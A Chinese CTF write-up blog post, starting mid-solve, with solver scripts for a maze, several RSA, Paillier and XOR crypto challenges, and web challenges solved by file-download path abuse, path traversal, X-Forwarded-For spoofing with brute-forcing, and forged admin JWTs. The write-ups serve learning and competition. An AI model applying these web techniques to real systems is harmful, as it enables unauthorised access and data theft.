    return bytes(plaintext_bytes)
if not UNK_10170 or len(UNK_10170) != 16:
    print("错误:请提供 UNK_10170 的 16 字节数据,需从 SO 文件中提取。")
elif not UNK_10180 or len(UNK_10180) != 8:
     print("错误:请提供 UNK_10180 的 8 字节数据,需从 SO 文件中提取。")
elif not TARGET_CIPHERTEXT or len(TARGET_CIPHERTEXT) != 40: # <-- 检查长度为 40 字节
     print(f"错误:请提供 TARGET_CIPHERTEXT 的 **完整的 40 字节** 数据,需从 SO 文件中提取。")
     print(f"(当前提供的长度为 {len(TARGET_CIPHERTEXT)})")
else:
    print("占位符数据似乎已提供。尝试解密...")

    rc4_key_material = b"DoNotHackMe"
    S_box_for_73040 = rc4_ksa(rc4_key_material)
    KEY_QWORD_73040 = rc4_prga_sub_293E0(list(S_box_for_73040), UNK_10170)

    S_box_for_73050 = rc4_ksa(rc4_key_material)
    KEY_QWORD_73050 = rc4_prga_sub_293E0(list(S_box_for_73050), UNK_10180)

    print(f"派生出的加密密钥 (qword_73040): {KEY_QWORD_73040.hex()}")
    print(f"派生出的 IV (qword_73050): {KEY_QWORD_73050.hex()}")
    print(f"目标密文 (40字节): {TARGET_CIPHERTEXT.hex()}")

    decrypted_padded_plaintext = cbc_decrypt(TARGET_CIPHERTEXT, KEY_QWORD_73040, KEY_QWORD_73050)

    plaintext = decrypted_padded_plaintext.rstrip(b'\x00')

    print(f"\n解密后的填充明文 (40 字节): {decrypted_padded_plaintext.hex()}") # <-- 输出提示长度为 40

    try:
        flag = plaintext.decode('utf-8')
        print(f"恢复的 Flag (解码为 UTF-8): {flag}")
    except UnicodeDecodeError:
        print(f"无法将恢复的明文解码为 UTF-8。")
        print(f"恢复的明文字节 (十六进制): {plaintext.hex()}")
    except Exception as e:
        print(f"在最终处理过程中发生未知错误: {e}")

# palu{thiS_T1Me_it_seeM5_tO_8e_ReAl_te@}

Game | Soap

迷宫,bfs求解最短路径

但这道题明显多解,我最开始写的那个代码死活不对。。

然后叫ai给我出了一个全解代码(一开始是128个答案,但题目后面给的hint把范围缩小到64个了)

import collections
import itertools
import hashlib

# Keep the original BFS to get distances, but modify it slightly or create a new one
# to just compute the distance grid efficiently.
def bfs_get_dist_grid(grid, start):
    """    使用 BFS 计算从 start 到所有可达点的最短距离,并返回距离网格。    """rows = len(grid)
    cols = len(grid[0])
    dist = [[float('inf') for _ in range(cols)] for _ in range(rows)] # 使用 inf 表示不可达或未访问

    queue = collections.deque([(start[0], start[1])]) # (row, col)
    dist[start[0]][start[1]] = 0

    dr = [-1, 1, 0, 0] # 方向:上, 下, 左, 右
    dc = [0, 0, -1, 1]

    # 可行走的字符集合 (保持与之前一致)
    walkable_chars = {'0', ' ', 'X', 'Y'}

    while queue:
        r, c = queue.popleft()

        for i in range(4):
            nr, nc = r + dr[i], c + dc[i]

            if 0 <= nr < rows and 0 <= nc < cols and grid[nr][nc] != '#' and dist[nr][nc] == float('inf'):
                dist[nr][nc] = dist[r][c] + 1
                queue.append((nr, nc))

    return dist # 返回完整的距离网格

def get_all_shortest_paths(grid, start, end, dist_grid):
    """    给定距离网格,递归回溯从 start 到 end 的所有最短路径。    """if dist_grid[end[0]][end[1]] == float('inf'):
        return [] # 如果终点不可达

    all_paths = []

    # 递归回溯函数
    def collect_paths(current_node, path_so_far):
        r, c = current_node

        if (r, c) == start:
            all_paths.append(list(reversed(path_so_far + [current_node]))) # 到达起点,添加完整路径 (反转)
            return

        # 探索邻居,只回溯到距离小 1 的邻居 (即在最短路径上)
        dr = [-1, 1, 0, 0]
        dc = [0, 0, -1, 1]

        for i in range(4):
            pr, pc = r + dr[i], c + dc[i] # Parent row/col

            # 检查边界
            if 0 <= pr < len(grid) and 0 <= pc < len(grid[0]):
                # 确保是从距离小 1 的点过来的
                if dist_grid[r][c] == dist_grid[pr][pc] + 1:
                     # 检查这个点不是障碍
                     if grid[pr][pc] != '#':
                        collect_paths((pr, pc), path_so_far + [current_node]) # 递归回溯

    # 从终点开始回溯
    collect_paths(end, [])

    return all_paths # 返回所有找到的最短路径坐标列表


def coords_to_wasd(path_coords_list):
    """    将坐标路径列表转换为 WASD 字符串。 (与之前相同)    """wasd_string = ""
    for i in range(len(path_coords_list) - 1):
        r1, c1 = path_coords_list[i]
        r2, c2 = path_coords_list[i+1]

        dr = r2 - r1
        dc = c2 - c1

        if dr == 1:
            wasd_string += 'S' # 向下
        elif dr == -1:
            wasd_string += 'W' # 向上
        elif dc == 1:
            wasd_string += 'D' # 向右
        elif dc == -1:
            wasd_string += 'A' # 向左

    return wasd_string

# 您提供的已经替换空格的迷宫地图字符串
maze_string_0_filled = """
##############################0#
#Y#0000000000000000000#0000000X
#0#0#############0###0#0###0##0#
#0#000#000000000#0#000#000#000##
#0#####0#######0###0#0###0###0##
#000#000#00000#0#000#000#0#000##
###0#0###0#####0#0#######0#0####
#0#000#0#00000#0#00000#000#000##
#0#####0#0###0#0#0###0#0#####0##
#000000000#000#0#000#0000000#0##
#0#########0#0#0#############0##
#000#0#00000#0#000#00000000000##
###0#0#0#########0#0#########0##
#0#0#0#00000000000#0#0000000#0##
#0#0#0#############0#0#####0#0##
#000#0000000#0000000#0#000#000##
0X0##0###0###0#0#####0#0########
#000#000#00000#000#0#0#000#000##
###0###0#########0#0#0#0#0#0#0##
#0#0#000#000#000#0#0#0#0#0#0#0##
#0#0###0#0#0#0#0#0#0#0###0#0#0##
#0#000#0#0#000#000#000#000#0#0##
#0###0###0###########0#0#0#0#0##
#000#000#00000000000#0#0#0#0#0##
#0#####0#0#########0#0#0###0#0##
#000#000#000#0000000#0#0#000#0##
###0#0#######0#######0#0#0###0##
#000#000#000#0#00000#0#000#000##
#0#####0#0#0#0#0#####0#####0#0##
#000000000#000#0000000000000#00#
0X0############0X0###########0X
#0##############0#############0#
"""

# --- 解析迷宫字符串到网格 ---
lines = maze_string_0_filled.strip().split('\n')
grid = []
expected_cols = 32

for i, line in enumerate(lines):
    if len(line) < expected_cols:
        processed_line = line.ljust(expected_cols, '0')
    elif len(line) > expected_cols:
         processed_line = line[:expected_cols]
    else:
        processed_line = line
    grid.append(list(processed_line))

rows = len(grid)
cols = len(grid[0]) if grid else 0
print(f"解析后的迷宫尺寸: {rows}x{cols}")

# 在网格中找到起始点 'Y' 和所有出口 'X' 的坐标
start_coord = None
exit_coords = []

for r in range(rows):
    for c in range(cols):
        if grid[r][c] == 'Y':
            start_coord = (r, c)
        elif grid[r][c] == 'X':
            exit_coords.append((r, c))

print(f"在地图中找到的起始点 Y: {start_coord}")
print(f"在地图中找到的出口点 X: {exit_coords} (共 {len(exit_coords)} 个)")

# 在继续之前,验证是否找到一个 Y 和 5 个 X
if start_coord is None:
    print("\n错误:未在地图中找到起始点 Y。")
elif len(exit_coords) != 5:
     print(f"\n错误:在地图中找到的出口数量不为 5 个,而是 {len(exit_coords)} 个。无法进行计算。")
else:
    print("\n成功在地图中找到所有关键点 (1个 Y, 5个 X)。正在计算关键点之间的最短路径距离...")

    # 预先计算所有关键点对之间的最短距离
    points = [start_coord] + exit_coords
    dist_data = {} # 存储 ((p1_r, p1_c), (p2_r, p2_c)): distance

    # 为了获取所有路径,我们需要从每个起点运行 BFS 来获取距离网格
    # 存储从每个关键点出发的距离网格
    dist_grids = {}
    for p in points:
         dist_grids[p] = bfs_get_dist_grid(grid, p)

    # 填充 dist_data 使用计算好的距离网格
    for i in range(len(points)):
        for j in range(i + 1, len(points)):
            p1 = points[i]
            p2 = points[j]
            # 从 p1 出发的距离网格中查找 p2 的距离
            dist = dist_grids[p1][p2[0]][p2[1]]
            if dist != float('inf'):
                 dist_data[(p1, p2)] = dist
                 dist_data[(p2, p1)] = dist # 距离是双向的


    # 找到访问所有出口的最短总路径 (从 Y 开始,遍历所有 X)
    min_total_dist = float('inf')
    optimal_permutations = [] # 存储所有达到最小距离的出口访问顺序

    print("\n正在查找访问所有出口的最短总距离...")

    for perm in itertools.permutations(exit_coords):
        current_total_dist = 0
        current_point = start_coord
        valid_permutation = True

        # 计算当前排列顺序的总距离
        for next_point in perm:
            pair = (current_point, next_point)
            if pair not in dist_data:
                 valid_permutation = False
                 break # 某段不可达

            current_total_dist += dist_data[pair]
            current_point = next_point

        if valid_permutation:
            if current_total_dist < min_total_dist:
                min_total_dist = current_total_dist
                optimal_permutations = [perm] # 找到更短的,清空并记录新的
            elif current_total_dist == min_total_dist:
                optimal_permutations.append(perm) # 找到同样短的,添加记录

    print(f"\n计算出的访问所有出口的最短总路径距离 (从 Y 开始): {min_total_dist} 步。")
    print(f"提示的最短路径距离: 290 步。")

    if min_total_dist == 290:
        print("计算结果与提示相符!正在生成所有最短路径的 WASD 序列...")

        all_shortest_wasd_paths = set() # 使用集合存储唯一的 WASD 序列 (大写)

        # 现在为每个达到最短总距离的排列组合生成所有可能的路径
        for opt_perm in optimal_permutations:
             segment_paths_lists = [] # 存储每个路径段的所有最短路径列表

             current_point = start_coord
             # 对于排列中的每个段 (Y -> X1, X1 -> X2, ...)
             for next_point in opt_perm:
                 # 从当前点的距离网格中获取该段的所有最短路径
                 segment_dist_grid = dist_grids[current_point]
                 # 调用新的函数获取所有路径
                 all_segment_paths = get_all_shortest_paths(grid, current_point, next_point, segment_dist_grid)
                 if not all_segment_paths:
                      segment_paths_lists = []
                      break
                 segment_paths_lists.append(all_segment_paths)
                 current_point = next_point

             if segment_paths_lists:
                 # 使用 itertools.product 组合所有路径段的所有可能组合
                 for path_combination in itertools.product(*segment_paths_lists):
                     combined_path_coords = []
                     for i, segment_path in enumerate(path_combination):
                         if i == 0:
                             combined_path_coords.extend(segment_path)
                         else:
                             combined_path_coords.extend(segment_path[1:])

                     wasd_path = coords_to_wasd(combined_path_coords) # 生成大写 WASD 路径
                     all_shortest_wasd_paths.add(wasd_path)

        # --- 筛选路径 (最后四步 SS DS), 转小写, 计算 MD5 ---
        filtered_md5s = []
        filter_suffix_uppercase = "SSDS" # 筛选条件 (大写)

        print(f"\n过滤路径:寻找最后四步为 '{filter_suffix_uppercase}' 的路径...")

        # 遍历所有找到的最短路径 (大写)
        for wasd_path_uppercase in all_shortest_wasd_paths:
            # 检查路径是否足够长且以指定的后缀结束
            if len(wasd_path_uppercase) >= len(filter_suffix_uppercase) and wasd_path_uppercase.endswith(filter_suffix_uppercase):
                # 将符合条件的路径转为小写
                wasd_path_lowercase = wasd_path_uppercase.lower()
                # 计算小写路径的 MD5 哈希值
                md5_hash = hashlib.md5(wasd_path_lowercase.encode('utf-8')).hexdigest()
                filtered_md5s.append(md5_hash)

        # 排序筛选后的哈希值以便输出顺序稳定
        sorted_filtered_md5s = sorted(filtered_md5s)


        print(f"\n共找到 {len(sorted_filtered_md5s)} 条长度为 {min_total_dist} 且最后四步为 '{filter_suffix_uppercase}' 的唯一最短路径。")
        print("这些路径(转为小写后)的 MD5 哈希值如下:")

        for i, md5_hash in enumerate(sorted_filtered_md5s):
            print(f"Filtered Path {i+1} MD5: {md5_hash}")

        print("\n对应的达到最短总距离的出口访问顺序 (从 Y 出发) 可能有:")
        point_names = {start_coord: 'Y'}
        for i, coord in enumerate(exit_coords):
             point_names[coord] = f'X{i+1}'

        for i, opt_perm in enumerate(optimal_permutations):
             path_points_sequence = [start_coord] + list(opt_perm)
             print(f"顺序 {i+1}: " + " -> ".join([f"{point_names.get(c, str(c))}{c}" for c in path_points_sequence]))


    else:
        print("计算结果与提示不符,请检查地图、坐标或算法实现。")
        print("\n未能找到访问所有出口的有效路径或最短距离不为290。")

爆出来的答案一个个试,试到第41个对了

palu{990fd7773f450f1f13bf08a367fe95ea}

Crypto

循环锁链 | Sean

还好最后出了,不然我要骂人了,虽然挺好想,但是要是一下没对上脑电波绕进去了,那就挺难受了

原理不用细说,看代码就懂了

cipher = open("flag.enc", "rb").read()

for index in range(len(cipher)):
    flag = []
    for i in range(len(cipher)):
        key = ord("p")^cipher[index]
        if i == 0:
            ch = cipher[index+0] ^ key
        else:
            ch = cipher[(index+i)%len(cipher)] ^ flag[-1]
        flag.append(ch)

    print(f'{index:4} {"".join([chr(i) for i in flag])}')

RSA_Quartic_Quandary | Sean

签到题,不用说

from Crypto.Util.number import long_to_bytes

n = 125997816345753096048865891139073286898143461169514858050232837657906289840897974068391106608902082960171083817785532702158298589600947834699494234633846206712414663927142998976208173208829799860130354978308649020815886262453865196867390105038666506017720712272359417586671917060323891124382072599746305448903
e = 65537
c = 16076213508704830809521504161524867240789661063230251272973700316524961511842110066547743812160813341691286895800830395413052502516451815705610447484880112548934311914559776633140762863945819054432492392315491109745915225117227073045171062365772401296382778452901831550773993089344837645958797206220200272941
s = 35935569267272146368441512592153486419244649035623643902985220815940198358146024590300394059909370115858091217597774010493938674472746828352595432824315405933241792789402041405932624651226442192749572918686958461029988244396875361295785103356745756304497466567342796329331150560777052588294638069488836419744297241409127729615544668547101580333420563318486256358906310909703237944327684178950282413703357020770127158209107658407007489563388980582632159120621869165333921661377997970334407786581024278698231418756106787058054355713472306409772260619117725561889350862414726861327985706773512963177174611689685575805282

tmp = s + 2*n**2
tmp = tmp.nth_root(2)
tmp += 2*n
tmp = tmp.nth_root(2)

R.<x> = PolynomialRing(ZZ)
f = tmp*x-x^2-n
res = f.roots()
p = res[0][0]
print(p)
assert n%p == 0
q = n//p
d = pow(e, -1, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(int(m)))

# palu{This_is_a_fake_flag_change_it_for_real_use}

易如反掌 | Sean

(唉唉,确实易如反掌,很签到,只不过我忘了绝对值了,有点被硬控。

其实看到题目大概就能想到是类似维纳攻击那种,但是维纳攻击只有一对n和e,而这里给出了4对。其实如果知道的话就很容易想到,维纳攻击的格攻击方法,然后很容易把四对n和e放到一个格里面

还要注意一点是,这里的phi不是欧拉函数,但是吧原理上大差不差

import hashlib

Ns = [23796646026878116589547283793150995927866567938335548416869023482791889761195291718895745055959853934513618760888513821480917766191633897946306199721200583177442944168533218236080466338723721813833112934172813408785753690869328477108925253250272864647989241887047368829689684698870160049332949549671046125158024445929082758264311584669347802324514633164611600348485747482925940752960745308927584754759033237553398957651216385369140164712159020014009858771182426893515016507774993840721603911101735647966838456333878426803669855790758035721418868768618171692143354466457771363078719423863861881209003100274869680348729, 19552522218179875003847447592795537408210008360038264050591506858077823059915495579150792312404199675077331435544143983146080988327453540449160493126531689234464110427289951139790715136775261122038034076109559997394039408007831367922647325571759843192843854522333120187643778356206039403073606561618190519937691323868253954852564110558105862497499849080112804340364976236598384571278659796189204447521325485338769935361453819608921520780103184296098278610439625935404967972315908808657494638735904210709873823527111315139018387713381604550946445856087746716671838144925662314348628830687634437271225081272705532826343, 20588310030910623387356293638800302031856407530120841616298227518984893505166480372963166394317326422544430837759332223527939420321960057410073228508230111170414845403161052128790464277007579491219950440477721075788978767309211469555824310913593208232853272958011299985202799390532181335087622499894389777412111445377637396650710486263652440053717323053536700098339137819966260269752816515681602936416736576044630343136577023173210517247609888936337876211461528203642347119434700140264859102502126842250671976238033270367185358966766106988830596616311824691409766437473419074865115209866730272194297815209976737570183, 18468380817178794606027384089796802449939260582378979728469492439450780893746976934315768186829245395964644992296264093276556001477514083927556578752836255491334765496791841945178275793885002188397918857222419803612711637177559554489679414049308077300718317502586411333302434329130562745942681716547306138457088216901181646333860559988117376012816579422902808478175975263110581667936249474308868051767856694498210084853797453949193117835061402537058150493808371384063278793041752943930928932275052745657700368980150842377283198946138726219378646040515809994704174471793592322237777371900834531014326150160506449286179]
Es = [229904181453273080302209653709086531153804577507365859149808244958841045687064628362978517491609413507875726243121473678430010600891588643092042173698830147997497783886459583186019270582236955524620567373560535686287255124958954671737097645556109314142383275516997850786599322033792080045303427363366927030304214333894247469120513426641296678531965795930756543043851154646310114366477311633838078242963665452936523438928643273392454483600446242320078010627755587492056369779661382734170244060951095344418599686788550312205964136120979823565225768814898285224838691541122088693411388097496320157113230752327025862802020421665288007529320920942060329299409362236414929126050037144149017275031336018100081931062647888329912802477032857776085190828105602067426203163344931483638271679183910241511044338001446584634203146294743522375846913845041274967653508735863706778364499099286484552570083394223973734909997825522191349543295855925973354640349809770822075226834555111927586299176453943116511915434890643239957459427390624136283086434711471863737451011157026905191204496081860277138227247744470804087252965368757930797560277881668806206419629425126031049566579233056222579590529869798537893505779097868221221068867624660759084762471141, 374749619911728044650812367560174497001343067563440477135516664935394734686391543012901514676044211541958613458868769659861216149364768233000844624035620893309356372294598009760824255187442531508754966566917198975934706398309982525100772311586501118200858124845012643495006029930202324305874402291277845166060497038915773767003006049720519011634861166208163030159519901867416488082395270295488885724507937683469910251316231210838654273986152493722244271430422693265608430755620420680629979226285393465423870727975987787149515374769359243334743541460110042872587610309611770320600248289328406805995688596910226273861759369388105641549933915686192055533242723330981192183310876306968103333706140401422550917946410378174896274789619184565321544130428008804628699594759946577979319393247067750024729672029363433673084437510430506410293512293930056667971242862448029841846596288648691077795207341975907335202945548990662460491169957175452745622341245617265849042542964819126377775749222973138584978725470886059043251544634105653274564085280013340679259157119014619894553239015777411757887293044706448625760604242512494466386343040583010961386979963779928616733980046763291988848903515836247301007113187121999960487508948748354549628160741, 111738429639840672983162926852338651562094139707285850255632987705635459657893186493838711733560515475806567653354737245246745810892238414756414117557971683747269900627524702653772058841085258035513296218047505149691384287812041721130367506731427022265277885965948486359682023555050085264531256406043361391744086539522028829421284667293339869140564699750714145488199268791908205712660933607330454849730499840287271163350865799682565216636393526339218836244889719975150503253630419647851422620890082315396457329065508602521784001607236788620811397449483104884860551374031790663030220424841642241965983726516537123807061999084476076850833658360594525986997125319941689903869138176347916707622148840226672408554102717625456819726220575710494929111642866840516339713870850732638906870325693572445316904688582043485093120585767903009745325497085286577015692005747499504730575062998090846463157669448943725039951120963375521054164657547731579771203443617489609201617736584055562887243883898406182052632245189418568410854530995044542628531851356363297989653392057214167031332353949367816700838296651167799441279086074308299608106786918676697564002641234952760724731325383088682051108589283162705846714876543662335188222683115878319143239781, 185935167438248768027713217055147583431480103445262049361952417166499278728434926508937684304985810617277398880507451351333771783039360671467147075085417403764439214700549777320094501151755362122677245586884124615115132430034242191429064710012407308619977881929109092467325180864745257810774684549914888829203014922855369708286801194645263982661023515570231007900615244109762444081806466412714045462184361892356485713147687194230341085490571821445962465385514845915484336766973332384198790601633964078447446832581798146300515184339036127604597014458389481920870330726947546808739829589808006774479656385317205167932706748974482578749055876192429032258189528408353619365693624106394913101463023497175917598944803733849984703912670992613579847331081015979121834040110652608301633876167262248103403520536210279949844194696898862249482809107840303473964914083996538912970715834110371196970613332286296427286356036576876121010776933023901744994067564045429384172315640135483480089769992730928266885675143187679290648773060781987273082229827156531141515679114580622348238382074084270808291251400949744720804368426414308355267344210055608246286737478682527960260877955900464059404976906697164610891962198768354924180929300959036213841843941]

ge = [[0]*5 for _ in range(5)]
for i in range(4):
    ge[i][i] = Ns[i]**2
    ge[-1][i] = Es[i]

K = Ns[0]

ge[-1][-1] = K

Ge = Matrix(ZZ, ge)
L = Ge.LLL()

if L[0,-1] % K == 0:
    d = abs(L[0,-1] // K)
    flag = "palu{" + hashlib.md5(str(d).encode()).hexdigest() + "}"
    print(int(d).bit_length())
    print(d.is_prime())
    print(flag)

# palu{b1fc01a38bae760451bcffe777e51b1d}

欧几里得 | Pure

Paillier密码系统的加法同态性质

已知是palu开头

EXP:

from Crypto.Util.number import long_to_bytes

c = 1426774899479339414711783875769670405758108494041927642533743607154735397076811133205075799614352194241060726689487117802867974494099614371033282640015883625484033889861

# 计算S的值
r = 65536  # 256^2
n = 35
S = (pow(r, n) - 1) // (r - 1)

# 枚举所有可能的k值(两字节,0到65535)for k in range(0, 65536):
    m2 = k * S
    m1 = c - m2
    # 将m1转换为字节
    bytes_val = long_to_bytes(m1)
    # 检查是否以b'palu'开头if bytes_val.startswith(b'palu'):
        print(f"Found k = {k}")
        print("Flag:", bytes_val.decode())
        break
        
        #palu{48b635a7a2474ef743e333478b67a2f5}

星际广播站 | Pure & Sean

const loginForm = document.querySelector('form[action="/login"]');
if (loginForm) {
    loginForm.addEventListener('submit', asyncfunction(event) {
        event.preventDefault(); 
        const passwordInput = document.getElementById('password');
        const password = passwordInput.value;

        const hiddenPasswordInput = document.createElement('input');
        hiddenPasswordInput.type= 'hidden';
        hiddenPasswordInput.name= 'password_hash'; 
        hiddenPasswordInput.value= password; 
        loginForm.appendChild(hiddenPasswordInput);

        passwordInput.removeAttribute('name');

        loginForm.submit();
    });
}

functiondownloadAppFile(filename) {
    const iframe = document.createElement('iframe');
    iframe.style.display= 'none';
    document.body.appendChild(iframe);
    const downloadUrl = `/file/download?path=${encodeURIComponent(filename)}`;
    iframe.src= downloadUrl;

    setTimeout(() => {
        document.body.removeChild(iframe);
    }, 2000);
}

先看前端源码,发现除了验证登录之外还可以进行文件下载,那我们直接控制台调用downloadAppFile(‘app.py’);(因为是由python写的所以猜测app.py),成功得到源码

源码中有一段很有意思:

# 修改数据库路径
# Ensure this line points to the data directory
DATABASE = 'data/users.db'
E = getPrime(7)
NUM_USERS = 128

把数据库路径给了,而且看

username = request.form['username']
password_hash_attempt = sm3_hash(request.form['password_hash'])

感觉密码是要和数据库那边验证的一样,所以尝试下载数据库,同样是调用downloadAppFile(‘data/users.db’);,下载成功

得到了网页源码和数据库,数据库中存了每个账号对应的n

翻看源码能发现密码是用用户名作为随机数种子生成的随机密码,找到POST两个参数名username和password_hash。有128个用户,所以用脚本批量获取用户对应的c(这里发现c是由span元素包裹的data-value类下,于是就直接查找这个类读取c),然后再从数据库中读取n。

用广播攻击,解出m

import random
import requests
import string
import sqlite3
from bs4 import BeautifulSoup
from Crypto.Util.number import *
import gmpy2

PORT = XXXX
ADDR = f"http://challenge.qsnctf.com:{}"

conn = sqlite3.connect('users.db')
cursor = conn.cursor()

ns = []
cs = []

for username in range(1,128+1):
    cursor.execute("SELECT n FROM users WHERE username = ?", (username,))
    result = cursor.fetchone()
    assert result is not None
    ns += [int(result[0])]

def get_c(username):
    global cs
    random.seed(str(username))
    password = "".join(random.choices(string.ascii_letters + string.digits, k=6))
    
    response = requests.post(ADDR + "/login", data={"username": username, "password_hash": password})
    # print(response.text)
    soup = BeautifulSoup(response.text, 'html.parser')
    c = soup.find('span', class_='data-value')
    cs += [int(c.text)]

for i in range(1, 128+1):
    get_c(i)

N = 1

for n in ns:
    N*=n
M_list=[]
for n in ns:
    M_list.append(N//n)
t_list=[] 
i=1
for i in range (len(ns)):
    t_list.append(pow(M_list[i],-1,ns[i]))
summary = 0
for i in range(len(ns)):
    summary=(summary+cs[i]*t_list[i]*M_list[i])%N
m = gmpy2.iroot(summary,127)[0]

print(long_to_bytes(m))

# palu{1f7f57ad216340b1a99f48359dcac478}

轮回密码 | Sean

最后应该是看一直没人做出来,把key放出来了,那么就很简单了

import base64

def samsara_decrypt(cipher, key_word):
    phase1 = bytes([cipher[i] ^ key_word[i % len(key_word)] for i in range(len(cipher))])

    cycle_step = len(key_word) % 6 + 1

    phase2 = bytes([(c >> (8 - cycle_step)) | ((c << cycle_step) & 0xFF) for c in phase1])

    phase3 = base64.b85decode(phase2)

    return bytes([(c >> (8 - cycle_step)) | ((c << cycle_step) & 0xFF) for c in phase3])

if __name__ == "__main__":
    c = "y¦_›6>X¬y–!,!n¡mSaÜñüë—9¼6™".encode("latin-1")
    key = b"Bore"
    plain = samsara_decrypt(c, key)
    print(plain)

Web

CatBank | Pure

注册2-3个账号,发现能转钱到负数,就直接转给另一个号一百万即可

当时好像要刚好才行,之前超了几分钱就没回显

CatNet | Pure

先扫目录:

尝试访问,发现需要本地IP才可以进入,那么直接抓包XFF:

然后看到:

function getFlag() {
    fetch('/admin/flag', {
        headers: {
            'X-Internal-Auth': 'cateye-internal-000'
            }
        }

就直接在添加一条X-Internal-Auth: cateye-internal-xxx

然后爆破这个三位数即可

猫猫的秘密 | Pure

   
        document.getElementById('getSecretBtn').addEventListener('click', async () => {
            try {
                const response = await fetch('/get_secret', {
                    method: 'GET',
                    headers: {
                        'Authorization': token
                    }
                });
                
                const data = await response.json();
                
                if (response.ok) {
                    let resultText = `${data.message}\n\n`;
                    
                    if (data.public) {
                        resultText += `${data.public}\n\n`;
                    }
                    
                    if (data.confidential) {
                        resultText += `猫猫信息: ${data.confidential}\n\n`;
                    }
                    
                    if (data.flag) {
                        resultText += `Flag: ${data.flag}`;
                    }
                    
                    document.getElementById('secretResult').textContent = resultText;
                } else {
                    document.getElementById('secretResult').textContent = `错误: ${data.error}`;
                }
                
                document.getElementById('secretResult').classList.remove('hidden');
            } catch (error) {
                document.getElementById('secretResult').textContent = `发生错误: ${error.message}`;
                document.getElementById('secretResult').classList.remove('hidden');
            }
        });
        
        document.getElementById('logoutBtn').addEventListener('click', () => {
            token = '';
            document.getElementById('username').value = '';
            document.getElementById('password').value = '';
            document.getElementById('loginResult').classList.add('hidden');
            document.getElementById('secretResult').classList.add('hidden');
            document.getElementById('secretSection').classList.add('hidden');
            document.getElementById('loginSection').classList.remove('hidden');
        });
    

看到前端源码,应该是要个token然后访问/get_secret,然后认证通过了就可以

然后看到是要添加一个Authorization,然后后面跟token

反正只会JWT,拦截的时候又没给cookie,就尝试构造JWT

喵喵喵?,你想看什么捏。发现有回显,那看来就是JWT了,但是看下面这几段:

document.getElementById('loginResult').classList.add('hidden');
document.getElementById('secretResult').classList.add('hidden');
document.getElementById('secretSection').classList.add('hidden');
document.getElementById('loginSection').classList.remove('hidden');

总感觉还缺一段验证,想到可能是要admin验证,一开始尝试换username没有成功,就尝试加了个role:admin,然后就结束了…..

palu{0b503f28af6f4d7987e832174284cb40}

Ezblog | Pure

首先下载源码,看到:

@Mapping("/backdoor")
   publicStringbackdoor(@Param("key") String key) {
      if ("********".equals(key)) {
         Stringflag=System.getenv("FLAG");
         return "flag is " + flag;
      } else {
         return "you are god";
      }
   }

有个后门,要求backdoor?key=,里面需要符合给的值就可以得出flag,但这里没给,接着看

@SolonMainpublicclass App {
   publicstaticvoidmain(String[] args) {
      Solon.start(App.class, args, (app) -> {
         StaticMappings.add("/assets/", newFileStaticRepository("/app/assets"));
      });
   }
}

这里给了个静态的目录,结合题目所给的/app,可以尝试访问assets/../app.jar,但是发现我的浏览器都访问不了,但是Bp里面有反应,但是是乱码,然后导出到内嵌浏览器查看:

又是源码,打开发现key值出现,直接访问即可

palu{91ffcbb02e904b699cf3639af74ad2af}

暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇